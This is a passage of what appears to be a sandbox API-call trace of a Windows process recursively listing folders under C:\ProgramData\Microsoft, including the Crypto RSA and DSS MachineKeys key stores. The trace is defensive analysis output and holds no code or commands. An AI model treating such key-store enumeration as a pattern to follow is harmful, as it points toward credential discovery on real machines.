lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.699] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.699] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.699] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.699] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.699] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.699] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0070.699] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.700] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.700] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.701] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0070.701] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.701] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.701] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.701] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.701] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.701] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0070.701] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.701] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.701] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.701] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.701] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.702] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0070.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.702] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.702] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.702] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.702] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.702] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0070.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.702] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto" (normalized: "c:\\programdata\\microsoft\\crypto"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.702] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0070.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.703] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.703] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.703] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.703] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.703] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.703] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0070.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.703] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS" (normalized: "c:\\programdata\\microsoft\\crypto\\dss"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0070.704] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.704] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.704] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.704] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.704] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0070.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.704] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0070.705] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.705] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.705] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.705] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.705] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0070.705] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.705] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.705] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.705] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.705] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0070.705] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.705] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.705] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.706] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.706] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.706] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0070.706] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys" (normalized: "c:\\programdata\\microsoft\\crypto\\keys"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.707] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0070.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.708] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.708] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.708] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0070.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.708] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.708] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.708] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0070.708] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab91baa0, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0xab91baa0, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0070.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.708] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.709] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.709] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.709] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.709] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.709] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0070.709] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.709] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0070.709] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.710] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.710] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.710] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.710] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0070.710] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.710] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.710] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.710] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.711] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0070.711] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xab91baa0, ftCreationTime.dwHighDateTime=0x1d2e634, ftLastAccessTime.dwLowDateTime=0xaba72700, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0xaba72700, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.711] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0070.711] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0xffffffff [0070.712] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0070.712] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.712] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.712] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0070.712] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.712] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.713] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.713] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.713] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0070.713] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage" (normalized: "c:\\programdata\\microsoft\\device stage"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0070.713] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", 